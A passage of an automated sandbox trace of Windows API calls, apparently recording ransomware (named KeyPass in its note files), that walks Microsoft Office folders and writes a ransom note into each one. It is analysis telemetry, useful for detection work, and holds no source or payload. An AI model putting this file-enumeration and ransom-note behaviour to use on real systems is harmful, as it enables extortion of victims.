(pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\msipc.dll.mui") returned=".mui" [0260.161] FindNextFileW (in: hFindFile=0x4e2b908, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.161] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.161] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.161] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.161] GetLastError () returned 0x3f0 [0260.161] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.161] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\zh-tw\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb58 [0260.163] GetFileType (hFile=0xb58) returned 0x1 [0260.163] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.163] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.163] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.163] WriteFile (in: hFile=0xb58, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.164] WriteFile (in: hFile=0xb58, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.164] CloseHandle (hObject=0xb58) returned 1 [0260.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bf08 [0260.165] FindNextFileW (in: hFindFile=0x4e2bf08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.165] FindNextFileW (in: hFindFile=0x4e2bf08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.165] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.165] FindNextFileW (in: hFindFile=0x4e2bf08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.165] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\msipc.dll.mui") returned=".mui" [0260.165] FindNextFileW (in: hFindFile=0x4e2bf08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.165] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0260.165] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.165] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSO.FRAMEPROTOCOLWIN32.DLL") returned=".DLL" [0260.165] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.165] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSO0127.ACL") returned=".ACL" [0260.165] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.165] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOADFPS.DLL") returned=".DLL" [0260.165] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.165] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoadfsb.exe") returned=".exe" [0260.165] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOARIA.DLL") returned=".DLL" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoasb.exe") returned=".exe" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOCR.DLL") returned=".DLL" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOCRRES.ORP") returned=".ORP" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoetwres.dll") returned=".dll" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe") returned=".exe" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL") returned=".DLL" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEVI.DLL") returned=".DLL" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE") returned=".EXE" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.166] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe") returned=".exe" [0260.166] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoianetutil.dll") returned=".dll" [0260.167] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSB.DLL") returned=".DLL" [0260.167] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSPECTRE.DLL") returned=".DLL" [0260.167] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSREC.EXE") returned=".EXE" [0260.167] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSTYLE.DLL") returned=".DLL" [0260.167] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSVG.DLL") returned=".DLL" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOSYNC.EXE") returned=".EXE" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe") returned=".exe" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotdaddin.dll") returned=".dll" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotelemetry.dll") returned=".dll" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE") returned=".EXE" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man") returned=".man" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUTL.OLB") returned=".OLB" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUTLS.DLL") returned=".DLL" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPJEVTS.DLL") returned=".DLL" [0260.168] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPPT.OLB") returned=".OLB" [0260.169] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.210] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPRJ.OLB") returned=".OLB" [0260.210] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.210] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msproof7.dll") returned=".dll" [0260.210] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPST32.DLL") returned=".DLL" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE") returned=".EXE" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mspub.exe.manifest") returned=".manifest" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB") returned=".TLB" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml") returned=".xml" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE") returned=".EXE" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSRTEDIT.DLL") returned=".DLL" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msvcp120.dll") returned=".dll" [0260.211] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msvcp140.dll") returned=".dll" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msvcr120.dll") returned=".dll" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSWORD.OLB") returned=".OLB" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSYUBIN7.DLL") returned=".DLL" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC") returned=".DIC" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab") returned=".cab" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO") returned=".ICO" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAME.DLL") returned=".DLL" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLPROXY.DLL") returned=".DLL" [0260.212] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE") returned=".EXE" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMEEXT.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NativeHostAnnotationApp.xap") returned=".xap" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NativeHostPollApp.xap") returned=".xap" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Data0011.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Lexicons0011.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS0009.dll") returned=".dll" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS000A.dll") returned=".dll" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS000C.dll") returned=".dll" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Models0011.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\NPSPWRAP.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OARTODF.DLL") returned=".DLL" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.213] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OCHelper.dll") returned=".dll" [0260.213] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocimport.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OCIntlDate.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocmsptls.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcOffice.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocogl.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip") returned=".zip" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocpptview.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocppvwintl.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe") returned=".exe" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.214] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocrec.dll") returned=".dll" [0260.214] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OCSAEXT.dll") returned=".dll" [0260.215] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OCSCLIENTWIN32.DLL") returned=".DLL" [0260.215] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0260.215] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0260.215] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.215] GetLastError () returned 0x3f0 [0260.215] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.215] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb50 [0260.303] GetFileType (hFile=0xb50) returned 0x1 [0260.303] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0260.303] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0260.303] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0260.303] WriteFile (in: hFile=0xb50, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0260.304] WriteFile (in: hFile=0xb50, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0260.304] CloseHandle (hObject=0xb50) returned 1 [0260.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2b988 [0260.304] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.304] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.304] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.304] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.304] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.304] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.304] GetLastError () returned 0x3f0 [0260.304] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.304] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC 